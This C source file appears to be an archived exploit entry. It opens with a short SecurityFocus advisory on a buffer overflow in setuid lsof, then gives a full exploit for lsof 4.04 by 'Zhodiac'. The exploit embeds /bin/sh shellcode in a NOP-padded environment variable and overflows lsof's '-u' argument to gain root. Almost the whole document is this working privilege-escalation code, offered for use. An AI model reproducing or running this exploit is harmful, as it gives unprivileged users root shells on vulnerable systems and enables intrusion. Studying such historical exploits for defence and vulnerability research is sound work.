72 lines
No EOL
1.9 KiB
C
72 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/496/info
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Lsof is an open file management utility included with many linux distributions. When run setuid root or setgid kmem, it is subject to a buffer overflow that can lead to regular users gaining root priveleges.
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/* http://www.hackersnetwork.net! */
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/*
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* Xploit for lsof 4.0.4 by Zhodiac <zhodiac@usa.net>
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* Based on Aleph's article in phrack49
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*/
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#include <stdlib.h>
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#define DEFAULT_OFFSET 0
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#define DEFAULT_BUFFER_SIZE 32
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#define DEFAULT_EGG_SIZE 2048
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#define NOP 0x90
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char shellcode[] =
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
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"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
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"\x80\xe8\xdc\xff\xff\xff/bin/sh";
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unsigned long get_esp(void) {
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__asm__("movl %esp,%eax");
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}
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void main(int argc, char *argv[]) {
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char *buff, *ptr, *egg;
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long *addr_ptr, addr;
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int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
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int i, eggsize=DEFAULT_EGG_SIZE;
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char comando[512];
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if (argc > 1) bsize = atoi(argv[1]);
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if (argc > 2) offset = atoi(argv[2]);
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if (argc > 3) eggsize = atoi(argv[3]);
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printf("\nXploit for lsof 4.04 by zhodiac <zhodiac@usa.net>\n\n");
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if (!(buff = malloc(bsize))) {
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printf("Can't allocate memory.\n");
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exit(0);
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}
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if (!(egg = malloc(eggsize))) {
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printf("Can't allocate memory.\n");
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exit(0);
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}
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addr = get_esp() - offset;
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printf("Using address: 0x%x\n", addr);
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ptr = buff;
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addr_ptr = (long *) ptr;
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for (i = 0; i < bsize; i+=4)
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*(addr_ptr++) = addr;
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ptr = egg;
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for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
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*(ptr++) = NOP;
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for (i = 0; i < strlen(shellcode); i++)
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*(ptr++) = shellcode[i];
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buff[bsize - 1] = '\0';
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egg[eggsize - 1] = '\0';
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memcpy(egg,"EGG=",4);
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putenv(egg);
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snprintf(comando,511,"lsof -u %s",buff);
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system(comando);
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} |